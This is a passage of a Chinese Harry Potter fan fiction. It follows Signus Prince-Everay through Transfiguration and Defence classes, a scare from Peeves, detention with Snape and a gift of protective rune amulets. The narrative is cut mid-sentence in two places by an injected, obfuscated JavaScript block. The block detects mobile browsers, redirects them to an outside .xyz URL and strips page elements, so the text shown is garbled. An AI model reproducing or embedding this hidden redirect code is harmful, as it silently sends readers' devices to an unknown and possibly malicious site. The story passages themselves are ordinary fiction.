下午是麦格教授的变形课,这也是西格纳斯今天唯一还怀有期待的课程。也许是麦格教授可以请出血人巴罗的威慑力还在,皮皮鬼并没有出现在变形课教室附近。 “变形术是你们在霍格沃兹所学的所有课程中,最复杂,也是最危险的魔法。”麦格教授站在讲台边,说着,“任何人在我的课堂上捣乱,我就会让他出去,并再也不许他回到课堂上来。”她锐利的视线扫过所有人——无论是斯莱特林还是拉文克劳,“记住了,我说的是‘任何人’。” 她挥舞魔杖,教室天花板上的吊灯就变形为发光的鸟群,在学生们的头顶如流光一般巡飞了两圈,再回到天花板恢复成了吊灯。 所有人都被这炫目的景象吸引了,教室里气氛火热。不过很显然的是,想要如麦格教授一般举重若轻地完成如此绚丽的变形,明显不是低年级学生能做到的事。作为使用《初级变形学指南(A Beginning''s Guide to Transfiguration)》作为教科书的一年级新生,能将无生命物体完整变形,就是很不错的了。 西格纳斯记下好几页艰深晦涩的笔记,然后麦格教授为每个人分了一根火柴,让大家试着将它变成一根针。 西格纳斯本以为这不会很难,但当他的火柴变成了一根看上去像是金属,但手感还是木质的小金属棒时,他不得不承认变形术果然有些难度。 不过,仅是这种程度的变形,西格纳斯依旧受到了麦格教授“做得不错”的表扬。他这才发现自己这个程度的变形,已经算是进度超前的了。——手链因此热了一下,从热度来看,应该是塞尔温和罗尔两人份的。 课程结束后,拉文克劳们没有马上离开教室,他们围在一起讨论着火柴变针的技术细节——可能他们之后没课了,但斯莱特林下节课是要与赫奇帕奇合上的黑魔法防御,需要他们赶往黑魔法防御课的教室。 不过,西格纳斯清楚地记得黑魔法防御课教室离变形课教室很近,所以他没有急着离开。 “你看起来好多了,拉德福德先生。”他终于有机会向莱伊·拉德福德打招呼。 “啊,普林斯-埃弗瑞先生。”莱伊转身,看向西格纳斯,“是的,我之前就说了,你的药水很好用。” 西格纳斯闻言微微皱眉,“你还在连续使用吗?”他记得之前已经很明确地提醒过,安眠药水不能多用了。 随着他们的交谈,几个莱伊身边的拉文克劳也回身看过来,发现西格纳斯这个斯莱特林后,表情有几分惊讶。在听到他们的话题后,也露出了一丝关注的神情。 莱伊看见西格纳斯面露不认同,忙解释道:“我找了弗立维院长,他带我去医疗翼见了庞弗雷夫人。”他说着,“夫人也看了你给我的药水,说那是难得高品质的药剂,对我来说,如果每天只少量的喝一点,最长可以连用五天。” 西格纳斯稍微放松了一些,“那就好。”他又点了点自己的额角示意道,“所以,另一个问题有办法解决吗?” “暂时还没有进展。教授说,他会去跟校长聊一聊,看看能不能找到什么方法。”莱伊叹了口气,“不过我倒是不抱什么希望,要是有方法的话,我家里也不会拖这么久了。” 西格纳斯也有些感叹地点了点头。 “西格纳斯。”洛塔尔忽然从变形课教室门口外探头,“下节课快要开始了,再不来就迟到喽!” “好的。”西格纳斯应了一声,回身与莱伊点了个头,“那我先走了,再见。” “嗯,明天见。”莱伊回了一句。 西格纳斯离开变形课教室时,还能听到教室里其他拉文克劳开始跟莱伊询问关于自己的事情,嘴角勾起一个细微的笑容。 黑魔法防御课教授是新来的巴纳比·克洛维教授。他有着一头棕色微卷的短发、蓝色的眼睛,身形高挑,看上去不过二三十多岁,很是年轻。 “下午好,我的学弟学妹们。”他向教室里的所有人打了个招呼,一副充满活力的样子,“是的,我也是霍格沃兹毕业的,在你们入学的几年前。” “这还是我毕业后第一次回到城堡,竟然是这个职位……说实话,我有点担心明年的这个时候,我会不会正呆在圣芒戈。”他毫不客气调侃自己的话语,引得所有人笑了出来。 西格纳斯一边笑一边想着,他这个开场白可练得真不错。 “好吧!你们都笑了,看来我的幽默感是还不错的。”他点点头,看上去很满意现状,“真奇怪,上次酒吧聊天的姑娘说我无趣——哦,这个可不适合跟一年级新生说。” 教室内又一次响起了笑声。 有这样一位幽默的年轻教授,虽然一年级的黑魔法防御课只有理论学习和教授演示,学生们也还是心情不错。 *** 课后,西格纳斯离开二楼的教室,打算趁着晚餐前的时间,去图书馆完成作业。 当他走到四层到五层的楼梯上时,左腕的手链挂坠忽然热了起来。西格纳斯精神一凛,做好了心理准备。 一张裂着大嘴的阔脸,陡然出现在面前不足一英寸的地方,哪怕西格纳斯早有准备,也不由得被吓了一跳,心跳迅速飙升。他下意识地后退一步,差点踩空台阶,手不由得抓紧楼梯扶手稳住身形。 皮皮鬼显然非常高兴于这个发现,尖笑着,“皮皮鬼大人一出现,小不点吓得脚打滑!哈哈哈哈哈哈哈!” 西格纳斯并不打算与皮皮鬼多耗时间,他无视了洋洋得意的皮皮鬼,平复了心跳后,立刻绕开他,继续前往五层。 皮皮鬼锲而不舍地跟在西格纳斯身后,直到他进入了图书馆,还在那里唱着自编的、不成调的小曲。 在图书馆的一个偏僻角落,西格纳斯在约定好的位置,找到了埃里希和洛塔尔,他们所坐的六人方桌对面,正坐着哈伦。 西格纳斯走到桌边,埃里希自然地拿开了身边一把座椅上放着的书包,让西格纳斯可以坐下来。“怎么了?脸色这么难看?”埃里希低声问着,洛塔尔和哈伦也投来关切的视线。 西格纳斯满脸的不爽,“被皮皮鬼吓了一跳。” “我还以为,皮皮鬼无论做什么都吓不到你呢!”安东尼奥走了过来,把手中抱着的书本放了一部分在哈伦的位置上,“给,你要的书。” “小点声,平斯夫人该看过来了。”哈伦回应一声。 安东尼奥坐回椅子上,降低音量说着之前看到的情况:“皮皮鬼刚刚在门口又唱又跳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314096|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不是平斯夫人因为他太吵了而去赶他,我怀疑他能一直跳到宵禁。” 几人视线又转回西格纳斯身上,关切他刚刚遭遇了什么。 西格纳斯简单说了一下经过,最后面色不善地嘀咕着,“那样一张丑脸忽然出现在眼前,就算是梅林也会吓一跳吧!” 闻言几人不禁失笑,但想想皮皮鬼那颇具“特色”的长相,又觉得西格纳斯的失态也是情有可原。 “之后要怎么办?皮皮鬼这次也算是抓你的弱点了。”哈伦问道。 “弱点?”西格纳斯冷哼一声,“这次被丑得失态算我的失误,是我没注意,他还有那么一副充满攻击力的长相。” 说完,他便将精力投入在作业当中——由于目前晚餐后都被预订为劳动服务,晚餐前的这个自由时段,是最主要的作业时间。 安东尼奥和哈伦凭借着身为二年级的经验,倒是帮了他们不少的忙,尤其是针对枯燥无趣的魔法史论文。 写完作业后,西格纳斯跟几人打了个招呼就要离开,埃里希忽然提醒他,“明天晚上有天文课,记得向斯内普教授请假。” 西格纳斯动作一顿——他还真差点就忘了这个唯一安排在晚餐后的课程了。他叹了口气,点点头,独自离开了图书馆。 皮皮鬼已经不在图书馆外,但当西格纳斯走进礼堂的时候,斯莱特林长桌上的塞尔温和罗尔等人,正绘声绘色地描述着“普林斯家的小鬼被皮皮鬼吓得滚下楼梯”的剧情。见到西格纳斯进入礼堂,他们立刻发出了充满恶意的嘲笑声。就连边上拉文克劳长桌的学生,也忍不住投来关注的目光。 西格纳斯嘴角勾着冷笑,经过他们几人身边时,站定说道:“太令人感到遗憾了,没想到真的有人会听皮皮鬼编故事,比听教授讲课还要认真。”他勾起的笑容带着讽刺性的优雅,“但是,我也真替你们的父母感到高兴,万一未来你们无法从霍格沃兹毕业,至少也不用担心你们被饿死了——当个滑稽艺人,看来足够你们养活自己。” 听到这番话的几个拉文克劳喷笑了出来。 “你!”菲利斯·罗尔拍桌子站了起来,西格纳斯则淡定地后退半步,“镇静些,罗尔先生。现在是晚餐时间,不是你的演出现场。”说完,西格纳斯便不再理会他们,直接走向了长桌的另一头,路过几位级长和高年级如弗利女士和博克学长的位置时,与他们礼貌致意。 他迅速地解决完自己的晚餐,不顾斯莱特林长桌上一些微妙的关注视线,迫不及待地奔赴自己望眼欲穿一整天的绝妙时光。 “教授,我又来劳动服务了!”西格纳斯到达斯内普办公室前时,两个不确定是哪个学院的高年级学生正一头冷汗地开门往外走。西格纳斯过于欢快的语调,让他们露出了仿佛傻了一样的表情。 西格纳斯可不管他们什么感想,顺着开启的门扉进入办公室内。斯内普教授此刻正坐在书桌前,面前摆放着一叠不知道是几年级交上来的羊皮纸 。从他的脸色来看,那显然不是什么令人满意的作业。 “教授……”西格纳斯敏锐地察觉到斯内普不佳的情绪,吞了下口水,老实地打了声招呼,“我去研磨龙鳞了。” 眼看着斯内普以相当不耐地表情批改着学生的论文:零星的“E(良好)”,少量的“A(合格)”,大量的“P(差)”中夹杂着“D(很差)”和“T(极差)”。西格纳斯一边研磨着龙鳞,一边心有余悸地看着那些评分可怜的作业。 他天然地理解斯内普的烦躁——擅长科研的高端人才并不一定擅长基础教学,让牛津大学的教授去教11岁的预备学校学生,恐怕不会比现在的场面好到哪里去——但并不妨碍他开始为自己的作业论文担心,但愿普林斯传承的知识还能让教授满意,让他的论文最低也能是个“E”! 在没有魔药熬制令他分心的情况下,有家族积累多年的魔药原材料处理手法作为加成,西格纳斯研磨龙鳞的效率很高。这导致斯内普看着今天的研磨进度时,那讥讽表情,让西格纳斯忍不住把头压得更低了。 “看来我们的普林斯-埃弗瑞先生深藏不露,”斯内普教授低沉的声音响起,“也许两周的时间太过浪费了。” “不不不,教授,两周不多,真的不多。”西格纳斯抬头,连忙否认——他都盘算着想办法延期了,哪能愿意缩短时长呢!“而且,我们明天晚上还有天文课,会占用劳动服务的时间,您看——” 斯内普教授正似笑非笑地看着他,嘴角嘲讽的弧度令西格纳斯头皮发麻。“两周劳动服务时间,不会多,也不会少。”斯内普教授说着,“完不成,今年就跟你的坩埚告别吧!” 西格纳斯最后垂头丧气地走出院长办公室,怏怏地向休息室走去。 休息室内,几个刚刚上完N.E.W.T.s级别课程的高年级还在讨论自己的课业。 “……比预计早了半天完成,难得……” “……反正教授全天都在,正好利用这半天时间请教一下……” 西格纳斯零星听到了几句话,忽然间意识到了刚刚斯内普教授话语中的关键——“两周劳动服务时间”里,若是自己提前完成了龙鳞研磨工作,那么剩下的时间,能够做什么呢? 他又雀跃起来,忍不住开始期待龙鳞研磨结束后的劳动服务时间了。 12.护符 周三白天,西格纳斯依照课程安排,上了与拉文克劳一起上了魔咒课,又和赫奇帕奇共同上了黑魔法防御课和草药课。 这期间,夹杂着他与皮皮鬼的“斗智斗勇”——似乎是因为发现了他的“弱点”而非常兴奋,仅周三上午,皮皮鬼就突然出现了三次。不过,因为出现得过于频繁,反而导致西格纳斯感觉有些麻木了。 于是皮皮鬼再次改换了方式,他开始用乱七八糟的调子唱起了自编的小曲——不得不说,这种让西格纳斯回想起开学宴校歌灾难的行为,也许才是真正有杀伤力的骚扰。 所幸,这一次他绷住了表情,没让皮皮鬼察觉。 晚上八点,霍格沃兹一年级的新生们一起去了霍格沃兹城堡的天文塔——鉴于一年级的宵禁时间是明确的夜间九点,他们不得不选择月亮初升的时刻上课。 奥罗拉·辛尼斯塔(Aurora Sinistra)教授带领一年级们学习基础恒星的名称,以及重要行星的运行轨迹。 在西格纳斯眼中,天文课大概是霍格沃兹所有课程里,与麻瓜科学最相似的学科了。属于拿着魔法道具出现在伦敦街区,都无需担心触发《国际保密法》的那种课程——它甚至没有专门的教科书。 西格纳斯盘算着,也许可以让卡斯托把家里那本1864年麻瓜出版的《弗拉马里翁天文学》寄来霍格沃兹,大概能让自己的天文学论文更好写一些。 罗齐尔兄弟觉得这非常可行,因为:“法国巫师界一直怀疑,尼可拉斯·卡米伊·弗拉马里翁(Nicolas Camille Flammarion)其实是个没能接受正规巫师教育的麻种巫师——毕竟他除了天文学,还热衷于研究通灵术。” “你们怎么不继续‘生态观察’了?”西格纳斯笑着问。 之前为了能够更好地观察英国的纯血巫师生态,这两个家伙这些天可是尽量不在公共场合和自己站在一起的——毕竟自己开学宴上那番鄙夷“只能炫耀祖辈”的言论,确实算得上是针对某些纯血了。 洛塔尔耸了耸肩,“样本太少了,没有观察的意义。” 西格纳斯一挑眉。 “包括一年级这两个,还有三年级的两个,”洛塔尔露出一个有些不屑的笑容,“不过就是……” “Wenn die Katze aus dem Haus ist, tanzen die M?use.”/“Quand le chat n''est pas là, les souris dansent.”兄弟俩分别以德语和法语做出了相同的评价。 “猫不在家,老鼠跳舞?”西格纳斯不禁喃喃道。 “是啊!五年级在准备O.W.L.s考试,六年级和七年级在准备N.E.W.T.s考试,我们根本接触不到,所以无从了解。”洛塔尔露出深觉无趣的表情,“而五年级以下的,尤其是追随过神秘人的那些,在1982年前后,有能力的转学、没能力的退学。除了弗利女士和博克学长,剩下的都是一些边缘的小家族,没什么观察价值。” 洛塔尔接着说:“那些小家族,多数都是追随着‘神圣二十八姓’发展的。就像围绕在行星旁边的卫星——没有行星的引力,他们就会如同一摊散沙。” “我们罗齐尔家族在英国的这支,自从埃文·罗齐尔的事后,就彻底没落了,”埃里希补充道,“所以才要我们过来接手。” “现在的斯莱特林里,除我们以外的‘神圣二十八姓家族’,低年级只有塞尔温、罗尔,还有特拉弗斯,四年级是弗利和博克,五年级唯一一个‘布莱克’还是被除名的那种。”洛塔尔分析着,“那个跟塞尔温和罗尔结盟的三年级的加格森,不过是利用那两个家伙‘神圣二十八姓’的名头,试图建立威望的新生代纯血而已。” “前两个浅薄得同样没有观察价值,被除名的‘布莱克’显然不符合你们的观察期待;弗利女士和博克学长偏中立,倒是无所谓,但若想观察哈伦,你们反而不能与我‘疏远’。”西格纳斯微笑,“我说得对吧?” “啊,没错。”洛塔尔叹了口气,“不过说起特拉弗斯家……他家作为被分割的蛋糕,其实也没法作为常规观察对象。” “所以?”西格纳斯挑了一下眉。 埃里希最后陈词总结,“还是回来继续观察你,最有意思。” 西格纳斯嗤笑一声,“随你们。” 在他们闲谈的过程中,一个意料之外的人凑了过来——“魁地奇狂人”费利克斯·普伦顿。 “嘿!三位。”普伦顿一脸笑容,“那个,你们听说过吗?咱们斯莱特林的学院幽灵血人巴罗,据说经常会来天文塔散心,所以皮皮鬼轻易不敢来这里捣乱!” 西格纳斯勾起嘴角,露出一个标准的微笑,礼貌地回应着:“怪不得,来上课的路上,没碰到皮皮鬼捣乱。” “嗯,是啊!”普伦顿应和了一声,“还有魁地奇球场,皮皮鬼也没出现过。你要是想去打魁地奇……” 西格纳斯能够感受到,对方在很努力地延续话题,只是他显然没想好该聊些什么。 所幸,曾在魔药课上与西格纳斯搭档过的伯尼·皮尔思沃斯走了过来,在与他们打过招呼后,一边对普伦顿说着“轮到咱们使用望远镜了”,一边将人拉走了。 西格纳斯维持着礼貌的笑容,看着普伦顿和皮尔思沃斯离开,“他怎么回事?”他微微侧头,问了一句。 “他……大概是被高年级提点了,来跟你建立一下交际关系?”埃里希的语气也不怎么肯定,“整个一年级就只有他,之前一直没跟你有过接触。” 西格纳斯将目光转回兄弟俩,面露不可思议,“就提点成这样?” 洛塔尔摊了摊手,“你也没办法指望一个‘魁地奇脑子’表现得更好了。” “毕竟是罗德里·普伦顿(Rode Plumpton)的孙子。”洛塔尔说着,“在英格兰和苏格兰,只要是魁地奇爱好者,必然会给他几分面子。看来是有好心人帮他分析了一下现况?” 英格兰魁地奇代表队传奇找球手罗德里·普伦顿——创下单局中,以三秒半的最快速度抓到飞贼的英国记录。 “所以他终于发现,他没必要跟着塞尔温和罗尔混了?”西格纳斯露出讽刺的笑容。 “毕竟高年级里,有脑子的人还在。”洛塔尔说着,埃里希补充了一句,“不过那个布鲁图斯·加格森也在魁地奇队里,担任找球手位置。” “可见斯莱特林人才凋敝。”西格纳斯撇撇嘴。他双手交叉举上头顶,活动了一下被夜风吹得有些僵的身体。 “不过,为什么是今天?” 洛塔尔露出一个带着些许调侃的笑容,“那大概是因为,昨天你一脸期待地跑去院长办公室的事,被人注意到了吧!” 西格纳斯微微一顿,想到了昨天晚上碰到的那两个不确定学院的高年级——也不知道这消息是怎么迅速、曲折地传回斯莱特林的。 “看来,”他瞥了一眼罗齐尔兄弟,勾起嘴角,“魁地奇队里,人才济济啊!” 曾被西格纳斯几次目睹到与球队成员晚餐共坐的埃里希和洛塔尔,露出一模一样的笑容。 *** 周四的清晨,西格纳斯终于再次与罗齐尔兄弟一同出现在礼堂。他在长桌一侧坐下,埃里希和洛塔尔则一左一右坐在了他两侧。 埃里希在西格纳斯的右侧坐下后,顺手将一杯牛奶递到他面前,自己则拿了一杯南瓜汁。 “你们比之前还夸张。”西格纳斯指了指埃里希的手边,然后就收获了一份巧克力味香蕉可丽饼。 洛塔尔在左侧落座,也塞给他一份草莓冰淇淋可丽饼。自己则拿起一块法棍切片,用餐刀往上面涂着加盐黄油,“毕竟回归了最初的核心观察计划。”他说着,“总要让你心情愉悦,才会允许我们继续观察下去。” “看在你们已经支付过的代价的份上,我本来就没打算拒绝。”西格纳斯回应着,吃下一口裹着香蕉片和榛子巧克力酱的可丽饼。 “所以,感谢你的宽宏大量。”埃里希说着,将一份沙拉推到他手边。 西格纳斯哼笑一声。 安东尼奥拉着哈伦出现在了礼堂门口,他们确认了一下位置后,落座于西格纳斯的对面。 “哟,今天不分开坐了?”他看着罗齐尔兄弟的位置,开口调侃着。 两位罗齐尔一起看向西格纳斯。 “皮皮鬼能用的手段,应该也都用过了。”西格纳斯露出笑容,“只要防御手段到位,就不用再在意他。所以,就不怎么需要保持距离了。” “防御手段?”哈伦有些惊讶,“霍格沃兹既往,可没有什么有效的防御措施记录。” 西格纳斯不置可否,“主要还是因为‘公共区域禁止施法’的禁令吧!” 若是学生们能够自由施法,至少皮皮鬼投掷杂物的骚扰手段,将失去大部分的效果——若能够释放铁甲咒、清理咒等防御性咒语,虽然无法驱逐皮皮鬼,但至少可以保护自己快速躲避、少受影响。 不过,这项禁令本身是为了维护校园秩序,不可能仅为了应对皮皮鬼就取消。 “我的防御措施也不具有普适性——技术成本有些高,且只能防护个人。” 正说着,猫头鹰们从礼堂的天窗飞了进来。 在西格纳斯的座位前,落下了整整四只猫头鹰。他手上敏捷地用空白餐盘盖住了可丽饼,没让那仿佛飞雪一般飘散的绒羽落在自己的早餐上。 “怎么这么多?”他有些诧异地看着面前的猫头鹰们——一只自家的雕鸮、一只仓鸮、两只魔法邮政体系的灰林鸮——家里这到底是寄了什么来? 罗齐尔兄弟一左一右招过了灰林鸮,从它们的爪下卸下了包裹。 “是我们的定制提箱到了。”埃里希取下包裹打开,里面正是西格纳斯同款的魔药器具整理箱。洛塔尔也拿起自己的箱子查看,“正好,明天就能用上。” 这引得安东尼奥好奇地探头探脑,“什么定制提箱?让我看看。”被哈伦一把拉回座位。哈伦拆下仓鸮爪下的包裹,塞到安东尼奥的怀里,“我母亲仿照你们那边的杏仁脆饼烤制的小饼干,应该不会太甜了。” 雕鸮凑近了西格纳斯,碰了碰他的手,示意他赶快接收包裹。 西格纳斯确认了一下包裹大小,心下一松。摸了摸自家雕鸮的背羽,拆下它腿上的信件和包裹,又取了旁边准备好的鸡胸肉、特制猫头鹰口粮和清水喂给它。 西格纳斯拆开信封,这次的信不是卡斯托写的——昨天的双面镜通信中,他正在罗齐尔家主的引荐下,前往瑞典处理一些与家族资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343115|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产相关的事项——信件的署名是卡珊德拉·普林斯-埃弗瑞(Cassandra Prince-Everay),西格纳斯那位沉迷古代如尼文研究的表姑姑。 “我们亲爱的西格尼: ……之前听卡斯托说起,你跟皮皮鬼起了冲突。我可怜的小蜜糖,希望你没被吓到。霍格沃兹的一切都很美好,除了皮皮鬼,我至今仍记得那个骚灵有多么可恶……” 卡珊德拉表姑姑的字迹里,都透露出一股针对皮皮鬼的怨气。 “……古代如尼文的确能限制皮皮鬼的靠近——可惜我是在临毕业时才发现这点。 卡斯托的龙鳞护符想法很好,毕竟学生被限制在公共区域施法,但并未禁止使用魔法道具。 ……不过龙鳞这种材料虽然好,处理起来却比黑曜石麻烦得多了,我不得不将奥雷利乌斯(Aurelius)找来帮忙。” 西格纳斯砸舌:奥雷利乌斯·普林斯-埃弗瑞是西格纳斯的小叔叔,专注于炼金术研究。是家族上一代中年龄最小,也是唯一一位毕业于布斯巴顿——知名炼金术士尼可·勒梅母校——的巫师。 “……你期待的龙鳞护符,至少还需要等上一段时间。 作为短期替代,给你准备了几个黑曜石护符。不过要注意,黑曜石可比不过龙鳞,每个护符只能激活7次,所以你最好随身携带2个以上。 ……好好享受你的霍格沃兹时光。 爱你的,卡珊德拉。” 西格纳斯收好信纸,拆开了随信而来的包裹——10枚约大拇指大小的片状黑曜石护符,以少量的妖精银镶嵌了古代如尼文字符“?(Thurisaz)”。 哈伦看到后,露出了震撼的表情,“你们家……这么奢侈吗?” 这种黑曜石护符,材料成本也许并不高,但叠加了高级魔文镶嵌工艺,根据具体效果,单枚护符的价值就被提升到了15~30加隆之间。哪怕只以底价15加隆计算,但这里放着的是10枚——据说霍格沃兹教授的工资,也不过是每月155加隆的水平。 哈伦的表情,仿佛在说着:“这就是魔药世家的含金量吗?” 西格纳斯微笑着解释道:“没那么夸张。护符的原材料并不昂贵,如尼文镶嵌则是家里人自己动的手,所以成本可控。” “我以为,普林斯是魔药世家?”洛塔尔好奇地发问。 “我们是旁支。”西格纳斯回答,“‘埃弗瑞’一支传承了很多代,既往也联姻过许多家族的旁支。”他淡然地说着,“作为‘普林斯’,我们以魔药作为最核心的传承;作为‘埃弗瑞’,我们从不拒绝更多的知识和底蕴。” 罗齐尔兄弟闻言,隔着西格纳斯,互相对视了一眼。 “真是个贪婪的家族啊……”安东尼奥以手托着腮,往嘴里塞了一块沾着咖啡的仿杏仁脆片,低声感叹着。 西格纳斯脸上挂着得体的笑容,将信收好。 *** 早餐过后,西格纳斯和罗齐尔兄弟赶往二层的变形术教室,而安东尼奥和哈伦则慢悠悠地走向更高楼层。 西格纳斯叫住了安东尼奥,并将两枚护符抛给了他。 安东尼奥抓住后愣了一下,然后才意识到西格纳斯是什么意思,将其中一枚塞到给哈伦怀里。 “这是?”哈伦面露疑惑。 “保险措施。”西格纳斯说道。 护符到手,皮皮鬼的恶作剧效果会大幅折损。而吃瘪后的骚灵,会不会发疯地向自己周围人出手……“只是以防万一罢了。”他一边说着,一边在身后的埃里希和洛塔尔手中,也各塞了一个护符。 几人下意识地环顾四周,确认是否有人看到这一幕。 “放心,骚灵不在。”西格纳斯笑了笑,瞥了一眼楼梯的拐角处,“两位‘纯血先生’显然还要再宣扬一下自己的光辉事迹,而三年级们要去上草药课。” 埃里希和洛塔尔交换了一下视线,“草药课……赫德森·布鲁姆?”他们意识到西格纳斯的信息来源。 “赫奇帕奇可比斯莱特林天真可爱多了,不是吗?”西格纳斯笑着回应。 安东尼奥笑嘻嘻地趴在楼梯扶手上,“好可怕呀,哈伦。你说我会不会也被他套过话了?” “你还用套话吗?”哈伦毫不客气地戳穿了他。 “我们先去上课了。”西格纳斯与两位二年级告别,同时晃了晃手中另一枚护符,“顺便过一下明路。” 走进变形术教室,麦格教授正在教室里确认本节课的教学道具——还是火柴。 西格纳斯走上前,“麦格教授,早安。”他递上了一枚护符,“这是我家里寄来的防护道具。我想,这应当是在校规允许的安全范围内?” 麦格教授接过护符,认真地确认着护符的材质、工艺,以及所镌刻的如尼文,确认其没有任何隐藏的黑魔法风险。 片刻后,她将护符还回西格纳斯手中,“没有问题,普林斯-埃弗瑞先生,你可以放心地使用它。” “感谢您的批准。”西格纳斯向她行了一礼。 转身走回座位处时,他正巧碰到了相携进入教室的格兰达·塔格伍德和安娜·沃林顿。 在与塔格伍德点头致意后,西格纳斯笑着将视线转向瑟缩了一瞬的沃林顿。 “早安,沃林顿小姐。”